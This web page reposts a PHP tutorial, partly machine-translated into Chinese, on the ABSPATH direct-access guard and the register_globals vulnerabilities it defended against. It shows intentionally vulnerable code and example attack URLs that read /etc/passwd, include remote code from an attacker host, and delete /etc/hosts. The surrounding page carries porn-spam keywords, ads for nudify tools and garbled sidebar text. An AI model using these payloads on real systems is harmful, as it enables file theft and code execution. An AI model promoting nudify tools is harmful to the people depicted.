国产av日韩一区二区三区精品,成人性爱视频在线观看,国产,欧美,日韩,一区,www.成色av久久成人,2222eeee成人天堂

首頁 後端開發(fā) php教程 框架和 CMS 中奇怪的 PHP 程式碼

框架和 CMS 中奇怪的 PHP 程式碼

Nov 14, 2024 pm 08:45 PM

That Strange PHP Code in Frameworks and CMSs

注意:為了閱讀這篇文章,假設(shè)您具有一些 PHP 程式設(shè)計(jì)的基本知識(shí)。

本文討論了您可能在您最喜歡的 CMS 或框架頂部看到的 PHP 程式碼片段。您可能已經(jīng)讀過,出於安全原因,您應(yīng)該始終將它包含在您開發(fā)的每個(gè) PHP 檔案的開頭,儘管沒有非常清楚地解釋原因。我指的是這段程式碼:

<?php

if ( ! defined( 'ABSPATH' ) ) {
    exit; // Exit if accessed directly
}

這種類型的程式碼在 WordPress 檔案中很常見,儘管它出現(xiàn)在幾乎所有框架和 CMS 中。例如,對(duì)於 Joomla CMS,唯一的變化是它使用 JEXEC,而不是 ABSPATH。除此之外,邏輯保持不變。這個(gè) CMS 是從先前的一個(gè)名為 Mambo 的系統(tǒng)演變而來的,它也使用了類似的程式碼,但使用 _VALID_MOS 作為常數(shù)。如果我們?cè)偻白匪?,我們?huì)發(fā)現(xiàn)第一個(gè)使用此類程式碼的 CMS 是 PHP-Nuke(被一些人認(rèn)為是第一個(gè)基於 PHP 的 CMS)。

PHP-Nuke(以及當(dāng)今大多數(shù) CMS 和框架)的執(zhí)行流程包括順序載入多個(gè)檔案以回應(yīng)使用者或訪客在網(wǎng)站上採取的操作。例如,想像一下那個(gè)時(shí)代的網(wǎng)站託管在 example.net 並安裝了此 CMS。每次載入主頁時(shí),系統(tǒng)都會(huì)依序執(zhí)行一系列檔案(這只是一個(gè)範(fàn)例,不是實(shí)際的順序):index.php => load_modules.php =>;模組.php。在這個(gè)鏈中,首先載入index.php,然後載入load_modules.php,然後載入modules.php。

這個(gè)執(zhí)行鏈並不總是從第一個(gè)檔案(index.php)開始。事實(shí)上,任何人都可以透過其 URL(例如,http://example.net/load_modules.php 或 http://example.net/modules.php)直接存取其他 PHP 檔案之一來繞過部分流程。 ,正如我們將看到的,這在許多情況下可能存在風(fēng)險(xiǎn)。

這個(gè)問題是如何解決的? 引入了安全措施,在每個(gè)文件的開頭添加類似的代碼:

<?php

if (!eregi("modules.php", $HTTP_SERVER_VARS['PHP_SELF'])) {
    die ("You can't access this file directly...");
}

本質(zhì)上,這段程式碼放置在名為modules.php的檔案的頂部,檢查是否可以透過URL直接存取modules.php。如果是,則停止執(zhí)行,顯示訊息:「You can't access this file direct...」 如果$HTTP_SERVER_VARS['PHP_SELF'] 不包含modules.php,則表示正常執(zhí)行流程處於活動(dòng)狀態(tài),允許腳本繼續(xù)。

但是,此程式碼有一些限制。首先,插入程式碼的每個(gè)檔案的程式碼都不同,這增加了複雜性。另外,在某些情況下,PHP 並沒有為 $HTTP_SERVER_VARS['PHP_SELF'] 賦值,這限制了其有效性。

So, what did the developers do? They replaced all those code snippets with a simpler and more efficient version:

<?php

if (!defined('MODULE_FILE')) {
    die ("You can't access this file directly...");
}

In this new code, which had become quite popular in the PHP community, the existence of a constant was checked. This constant was defined and assigned a value in the first file of the execution flow (index.php, home.php, or a similar file). Therefore, if this constant didn’t exist in any other file in the sequence, it meant that someone had bypassed index.php and was attempting to access another file directly.

Dangers of Directly Running a PHP File

At this point, you may be thinking that breaking the execution chain must be extremely serious. However, the truth is that, usually, it doesn’t pose a major threat.

The risk might arise when a PHP error exposes the path to our files. This shouldn’t concern us if the server is configured to suppress errors; even if errors weren’t hidden, the exposed information would be minimal, providing only a few clues to a potential attacker.

It could also happen that someone accesses files containing HTML fragments (views), revealing part of their content. In most cases, this should not be a cause for concern either.

Finally, a developer, either by mistake or lack of experience, might place risky code without external dependencies in the middle of an execution flow. This is very uncommon since framework or CMS code generally depends on other classes, functions, or external variables for its execution. So, if an attempt is made to execute a script directly through the URL, errors will arise as these dependencies won’t be found, and the execution won’t proceed.

So, why add the constant code if there is little reason for concern? The answer is this: "This method also prevents accidental variable injection through a register globals attack, preventing the PHP file from assuming it's within the application when it’s actually not."

Register Globals

Since the early days of PHP, all variables sent via URLs (GET) or forms (POST) were automatically converted into global variables. For example, if the file download.php?filepath=/etc/passwd was accessed, in the download.php file (and in those depending on it in the execution flow), you could use echo $filepath; and it would output /etc/passwd.

Inside download.php, there was no way to know if the variable $filepath was created by a prior file in the execution chain or if it was tampered with via the URL or POST. This created significant security vulnerabilities. Let’s look at an example, assuming the download.php file contains the following code:

<?php

if(file_exists($filepath)) {
    header('Content-Description: File Transfer');
    header('Content-Type: application/octet-stream');
    header('Content-Disposition: attachment; filename="'.basename($filepath).'"');
    header('Expires: 0');
    header('Cache-Control: must-revalidate');
    header('Pragma: public');
    header('Content-Length: ' . filesize($filepath));
    flush(); // Flush system output buffer
    readfile($filepath);
    exit;
}

The developer likely intended to use a Front Controller pattern for their code, meaning all web requests would go through a single entry file (index.php, home.php, etc.). This file would handle session initialization, load common variables, and finally redirect the request to a specific script (in this case, download.php) to perform the file download.

However, an attacker could bypass the intended execution sequence simply by calling download.php?filepath=/etc/passwd, as mentioned before. PHP would automatically create the global variable $filepath with the value /etc/passwd, allowing the attacker to download that file from the system. Serious problem.

This is only the tip of the iceberg since even more dangerous attacks could be executed with minimal effort. For example, in code like the following, which the programmer might have left as an unfinished script:

<?php

require_once($base_path."/My.class.php");

An attacker could execute any code by using a Remote File Inclusion (RFI) attack. If the attacker created a file My.class.php on their own site https://mysite.net containing any code they wanted to execute, they could call the vulnerable script by passing in their domain: useless_code.php?base_path=https://mysite.net, and the attack would be complete.

Another example: in a script named remove_file.inc.php with the following code:

<?php

if(file_exists($filename)) {
    if( unlink($filename) ) {
        echo "File deleted";
    }
}

an attacker could call this file directly with a URL like remove_file.inc.php?filename=/etc/hosts, attempting to delete the /etc/hosts file from the system (if the system allows it, or other files they have permission to delete).

In a CMS like WordPress, which also uses global variables internally, these types of attacks were devastating. However, thanks to the constant technique, these and other PHP scripts were protected. Let’s look at the last example:

<?php

if ( ! defined( 'ABSPATH' ) ) {
    exit; // Exit if accessed directly
}

if(file_exists($filename)) {
    if( unlink($filename) ) {
        echo "File deleted";
    }
}

Now, if someone attempted to access remove_file.inc.php?filename=/etc/hosts, the constant would block the access. It is essential that this is a constant because, logically, if it were a variable, an attacker could inject it.

By now, you may wonder why PHP kept this functionality if it was so dangerous. Also, if you know other scripting languages (JSP, Ruby, etc.), you’ll see they have nothing similar (which is why they also don’t use the constant technique). Recall that PHP was initially created as a C-based templating system, and this behavior made development easier. The good news is that, seeing the issues it caused, PHP maintainers introduced a php.ini directive called register_globals (enabled by default) to allow this functionality to be disabled.

But as problems persisted, they disabled it by default. Even so, many hosts kept enabling it out of fear that their clients’ projects would stop working, as much of the code at the time did not use the recommended HTTP_*_VARS variables to access GET/POST/... values but rather used global variables.

最後,看到情況沒有改善,他們做出了一個(gè)重大決定:在 PHP 5.4 中刪除此功能以避免所有這些問題。因此,今天,像我們所看到的腳本(不使用常量)通常不再是風(fēng)險(xiǎn),除了在某些情況下出現(xiàn)一些無害的警告/通知。

目前使用情況

時(shí)至今日,持續(xù)技術(shù)仍然很常見。然而,不幸的現(xiàn)實(shí)——也是本文的原因——是很少有開發(fā)人員了解其使用背後的真正原因。

與過去的其他最佳實(shí)踐一樣(例如將參數(shù)複製到函數(shù)內(nèi)部的局部變量中以避免引用問題或在私有變量中使用下劃線來區(qū)分它們),許多人繼續(xù)應(yīng)用它只是因?yàn)橛腥嗽?jīng)告訴他們這是一個(gè)良好的做法,毫無疑問它今天是否仍然增加價(jià)值。事實(shí)是,在大多數(shù)情況下,不再需要此技術(shù)。

以下是造成這種做法失去相關(guān)性的一些原因:

  • 刪除 *register 全域變數(shù):從 PHP 5.4 開始,在 PHP 中刪除了將 GET 和 POST 變數(shù)自動(dòng)註冊(cè)為全域變數(shù)的功能。如果沒有*註冊(cè)全域變數(shù),直接執(zhí)行單一腳本是無害的,消除了這種技術(shù)的主要原因。

  • 更好的程式碼設(shè)計(jì):即使在PHP 5.4 之前的版本中,現(xiàn)代程式碼的結(jié)構(gòu)也更好,通常在類別和函數(shù)中,這使得透過外部變數(shù)進(jìn)行存取或操作更具挑戰(zhàn)性。即使是傳統(tǒng)上使用全域變數(shù)的 WordPress,也能最大限度地降低這些風(fēng)險(xiǎn)。

  • *front-controllers的使用:如今,大多數(shù)Web 應(yīng)用程式都採用精心設(shè)計(jì)的*front-controllers 來確保類別和函數(shù)程式碼僅在執(zhí)行時(shí)才執(zhí)行鏈結(jié)從主入口點(diǎn)開始。因此,如果有人嘗試單獨(dú)載入文件,除非流程從正確的入口點(diǎn)開始,否則邏輯不會(huì)觸發(fā)。

  • 類別自動(dòng)載入:隨著類別自動(dòng)載入在現(xiàn)代開發(fā)中的廣泛使用,include 或 require 的使用顯著減少。這可以降低經(jīng)驗(yàn)豐富的開發(fā)人員與這些方法(例如遠(yuǎn)端文件包含本地文件包含)相關(guān)的風(fēng)險(xiǎn)。

  • 公用程式碼和私人程式碼的分離:在許多現(xiàn)代 CMS 和框架中,公用程式碼(如 資產(chǎn))與私有程式碼(邏輯)分開。這項(xiàng)措施特別有價(jià)值,因?yàn)樗梢源_保,如果 PHP 在伺服器上出現(xiàn)故障,PHP 程式碼(無論是否使用常量技術(shù))不會(huì)暴露。儘管這種分離並不是專門為了緩解註冊(cè)全域變數(shù)而實(shí)現(xiàn)的,但它有助於防止其他安全問題。

  • 友善 URL 的廣泛使用:如今,將伺服器配置為使用友善 URL 是常見做法,以確保應(yīng)用程式邏輯的單一入口點(diǎn)。這使得任何人幾乎不可能單獨(dú)載入 PHP 檔案。

  • 生產(chǎn)中的錯(cuò)誤抑制:大多數(shù)現(xiàn)代CMS 和框架預(yù)設(shè)禁用錯(cuò)誤輸出,因此攻擊者無法找到有關(guān)應(yīng)用程式內(nèi)部工作原理的線索,這可能會(huì)促進(jìn)其他類型的攻擊。

儘管在大多數(shù)情況下不再需要此技術(shù),但這並不意味著它永遠(yuǎn)沒有用處。作為專業(yè)開發(fā)人員,必須分析每種情況並確定持續(xù)的技術(shù)是否與您工作的特定環(huán)境相關(guān)。這種批判性思考應(yīng)該始終被應(yīng)用,即使是所謂的最佳實(shí)踐。

沒有把握?這裡有一些提示

如果您仍然不確定何時(shí)應(yīng)用持續(xù)技術(shù),這些建議可能會(huì)指導(dǎo)您:

  • 如果您認(rèn)為您的程式碼可能在早於 5.4 的 PHP 版本上運(yùn)行,請(qǐng)務(wù)必使用它。
  • 如果檔案僅包含類別定義,請(qǐng)不要使用它。
  • 如果檔案僅包含函數(shù),請(qǐng)不要使用它
  • 如果檔案僅包含 HTML/CSS,請(qǐng)勿使用它,除非 HTML 洩漏敏感資訊。
  • 如果檔案僅包含常數(shù),請(qǐng)不要使用它。

對(duì)於其他一切,如果您有疑問,請(qǐng)應(yīng)用它。在大多數(shù)情況下,它不會(huì)有害,並且可以在意外情況下保護(hù)您,尤其是在您剛開始時(shí)。隨著時(shí)間和經(jīng)驗(yàn)的積累,您將能夠評(píng)估何時(shí)更有效地應(yīng)用此技術(shù)和其他技術(shù)。

That Strange PHP Code in Frameworks and CMSs

繼續(xù)學(xué)習(xí)...

  • register_globals - MediaWiki
  • PHP:使用暫存器全域變數(shù) - 手冊(cè)
  • 遠(yuǎn)端檔案包含漏洞 [LWN.net]
  • Bugtraq:Mambo Site Server 版本 3.0.X 中存在嚴(yán)重安全漏洞

以上是框架和 CMS 中奇怪的 PHP 程式碼的詳細(xì)內(nèi)容。更多資訊請(qǐng)關(guān)注PHP中文網(wǎng)其他相關(guān)文章!

本網(wǎng)站聲明
本文內(nèi)容由網(wǎng)友自願(yuàn)投稿,版權(quán)歸原作者所有。本站不承擔(dān)相應(yīng)的法律責(zé)任。如發(fā)現(xiàn)涉嫌抄襲或侵權(quán)的內(nèi)容,請(qǐng)聯(lián)絡(luò)admin@php.cn

熱AI工具

Undress AI Tool

Undress AI Tool

免費(fèi)脫衣圖片

Undresser.AI Undress

Undresser.AI Undress

人工智慧驅(qū)動(dòng)的應(yīng)用程序,用於創(chuàng)建逼真的裸體照片

AI Clothes Remover

AI Clothes Remover

用於從照片中去除衣服的線上人工智慧工具。

Clothoff.io

Clothoff.io

AI脫衣器

Video Face Swap

Video Face Swap

使用我們完全免費(fèi)的人工智慧換臉工具,輕鬆在任何影片中換臉!

熱工具

記事本++7.3.1

記事本++7.3.1

好用且免費(fèi)的程式碼編輯器

SublimeText3漢化版

SublimeText3漢化版

中文版,非常好用

禪工作室 13.0.1

禪工作室 13.0.1

強(qiáng)大的PHP整合開發(fā)環(huán)境

Dreamweaver CS6

Dreamweaver CS6

視覺化網(wǎng)頁開發(fā)工具

SublimeText3 Mac版

SublimeText3 Mac版

神級(jí)程式碼編輯軟體(SublimeText3)

對(duì)基於PHP的API進(jìn)行版本控制的最佳實(shí)踐是什麼? 對(duì)基於PHP的API進(jìn)行版本控制的最佳實(shí)踐是什麼? Jun 14, 2025 am 12:27 AM

基於toversionaphp,useUrl deuseUrl specteringforclarityAndEsofRouting,單獨(dú)的codetoavoidConflicts,dremecateOldVersionswithClearCommunication,andConsiderCustomHeadeSerlySerallyWhennEnncelsy.startbyplacingtheversionIntheUrl(E.G.,epi/api/v

如何在PHP中實(shí)施身份驗(yàn)證和授權(quán)? 如何在PHP中實(shí)施身份驗(yàn)證和授權(quán)? Jun 20, 2025 am 01:03 AM

tosecurelyhandleauthenticationandationallizationInphp,lofterTheSesteps:1.AlwaysHashPasswordSwithPassword_hash()andverifyusingspasspassword_verify(),usepreparedStatatementStopreventsqlineptions,andStoreSeruserDatain usseruserDatain $ _sessiveferterlogin.2.implementrole-2.imaccessccsccccccccccccccccccccccccc.

PHP中的程序和麵向?qū)ο蟮木幊坦?fàn)例之間有什麼區(qū)別? PHP中的程序和麵向?qū)ο蟮木幊坦?fàn)例之間有什麼區(qū)別? Jun 14, 2025 am 12:25 AM

procemal and object-tiriendedprogromming(oop)inphpdiffersimplessintustructure,可重複使用性和datahandling.1.procedural-Progrogursmingusesfunctimesfunctionsormanized sequalized sequalized sequiential,poiperforsmallscripts.2.OpporganizesCodeOrganizescodeOdeIntsocloceSandObjects,ModelingReal-Worlden-Worlden

PHP中有哪些弱參考(弱圖),何時(shí)有用? PHP中有哪些弱參考(弱圖),何時(shí)有用? Jun 14, 2025 am 12:25 AM

PHPdoesnothaveabuilt-inWeakMapbutoffersWeakReferenceforsimilarfunctionality.1.WeakReferenceallowsholdingreferenceswithoutpreventinggarbagecollection.2.Itisusefulforcaching,eventlisteners,andmetadatawithoutaffectingobjectlifecycles.3.YoucansimulateaWe

如何在PHP中安全地處理文件上傳? 如何在PHP中安全地處理文件上傳? Jun 19, 2025 am 01:05 AM

要安全處理PHP中的文件上傳,核心在於驗(yàn)證文件類型、重命名文件並限制權(quán)限。 1.使用finfo_file()檢查真實(shí)MIME類型,僅允許特定類型如image/jpeg;2.用uniqid()生成隨機(jī)文件名,存儲(chǔ)至非Web根目錄;3.通過php.ini和HTML表單限製文件大小,設(shè)置目錄權(quán)限為0755;4.使用ClamAV掃描惡意軟件,增強(qiáng)安全性。這些步驟有效防止安全漏洞,確保文件上傳過程安全可靠。

如何與PHP的NOSQL數(shù)據(jù)庫(例如MongoDB,Redis)進(jìn)行交互? 如何與PHP的NOSQL數(shù)據(jù)庫(例如MongoDB,Redis)進(jìn)行交互? Jun 19, 2025 am 01:07 AM

是的,PHP可以通過特定擴(kuò)展或庫與MongoDB和Redis等NoSQL數(shù)據(jù)庫交互。首先,使用MongoDBPHP驅(qū)動(dòng)(通過PECL或Composer安裝)創(chuàng)建客戶端實(shí)例並操作數(shù)據(jù)庫及集合,支持插入、查詢、聚合等操作;其次,使用Predis庫或phpredis擴(kuò)展連接Redis,執(zhí)行鍵值設(shè)置與獲取,推薦phpredis用於高性能場(chǎng)景,Predis則便於快速部署;兩者均適用於生產(chǎn)環(huán)境且文檔完善。

PHP中==(鬆散比較)和===(嚴(yán)格的比較)之間有什麼區(qū)別? PHP中==(鬆散比較)和===(嚴(yán)格的比較)之間有什麼區(qū)別? Jun 19, 2025 am 01:07 AM

在PHP中,==與===的主要區(qū)別在於類型檢查的嚴(yán)格程度。 ==在比較前會(huì)進(jìn)行類型轉(zhuǎn)換,例如5=="5"返回true,而===要求值和類型都相同才會(huì)返回true,例如5==="5"返回false。使用場(chǎng)景上,===更安全應(yīng)優(yōu)先使用,==僅在需要類型轉(zhuǎn)換時(shí)使用。

如何在PHP( - , *, /,%)中執(zhí)行算術(shù)操作? 如何在PHP( - , *, /,%)中執(zhí)行算術(shù)操作? Jun 19, 2025 pm 05:13 PM

PHP中使用基本數(shù)學(xué)運(yùn)算的方法如下:1.加法用 號(hào),支持整數(shù)和浮點(diǎn)數(shù),也可用於變量,字符串?dāng)?shù)字會(huì)自動(dòng)轉(zhuǎn)換但不推薦依賴;2.減法用-號(hào),變量同理,類型轉(zhuǎn)換同樣適用;3.乘法用*號(hào),適用於數(shù)字及類似字符串;4.除法用/號(hào),需避免除以零,並註意結(jié)果可能是浮點(diǎn)數(shù);5.取模用%號(hào),可用於判斷奇偶數(shù),處理負(fù)數(shù)時(shí)餘數(shù)符號(hào)與被除數(shù)一致。正確使用這些運(yùn)算符的關(guān)鍵在於確保數(shù)據(jù)類型清晰並處理好邊界情況。

See all articles